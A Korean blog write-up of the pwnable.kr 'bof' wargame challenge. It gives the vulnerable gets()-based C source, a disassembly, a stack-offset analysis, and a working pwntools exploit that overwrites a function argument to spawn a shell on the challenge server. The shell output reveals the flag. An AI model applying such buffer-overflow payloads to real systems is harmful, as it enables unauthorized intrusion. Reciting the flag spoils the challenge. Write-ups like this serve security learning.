시스템 해킹 문제들
https://pwnable.kr/
there are flag files corresponding to each challenges (similar to CTF), you need to read it and submit to pwnable.kr to get the corresponding point. in order to read the flag file, you need some skills regarding programming, reverse-engineering, bu
pwnable.kr
문제
pwnable.kr 서버의 9000번 포트에서 작동하는 bof 문제는 버퍼 오버플로우 취약점을 통해 함수 인자 값을 조작하고, 쉘을 획득하는 것이 핵심이다.
소스코드 분석 (bof.c)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme);
if(key == 0xcafebabe){
system("/bin/sh");
} else {
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
취약점 분석
- gets() 함수는 버퍼 크기 제한 없이 입력을 받아 BOF가 발생한다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000129d <+0>: lea ecx,[esp+0x4]
0x000012a1 <+4>: and esp,0xfffffff0
0x000012a4 <+7>: push DWORD PTR [ecx-0x4]
0x000012a7 <+10>: push ebp
0x000012a8 <+11>: mov ebp,esp
0x000012aa <+13>: push ecx
0x000012ab <+14>: sub esp,0x4
0x000012ae <+17>: call 0x12d5 <__x86.get_pc_thunk.ax>
0x000012b3 <+22>: add eax,0x2d4d
0x000012b8 <+27>: sub esp,0xc
0x000012bb <+30>: push 0xdeadbeef
0x000012c0 <+35>: call 0x11fd <func>
0x000012c5 <+40>: add esp,0x10
0x000012c8 <+43>: mov eax,0x0
0x000012cd <+48>: mov ecx,DWORD PTR [ebp-0x4]
0x000012d0 <+51>: leave
0x000012d1 <+52>: lea esp,[ecx-0x4]
0x000012d4 <+55>: ret
End of assembler dump.
pwndbg>
overflowme (32 바이트) + padding(12바이트) + saved ebp(4 바이트) + return address(4 바이트) + key(4 바이트)
=> key 값(0xdeadbeef)를 0xcafebabe로 덮어 씌워야 한다.
익스플로잇
from pwn import *
# 서버 연결
p = remote('pwnable.kr', 9000)
print("연결 성공!!")
# payload 생성
payload = b'A' * 52 + p32(0xcafebabe)
# payload 전송, 쉘 획득!
p.sendline(payload)
p.interactive()
결과
[*] Switching to interactive mode
$ ls
bof bof.c flag ...
$ cat flag
daddy, I just pwned a buFFer :)
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'시스템 해킹 & 보안' 카테고리의 다른 글
[5] random - pwnable.kr (0) | 2025.07.04 |
---|---|
[4] flag - 리버싱 - pwnable.kr (1) | 2025.07.04 |
[2] collision - pwnable.kr (0) | 2025.07.04 |
[1] fd(file descriptor) - pwnable.kr (0) | 2025.07.04 |
[모의해킹] 미터프리터(meterpreter) 페이로드 활용 및 세션 제어 실습 (0) | 2025.05.08 |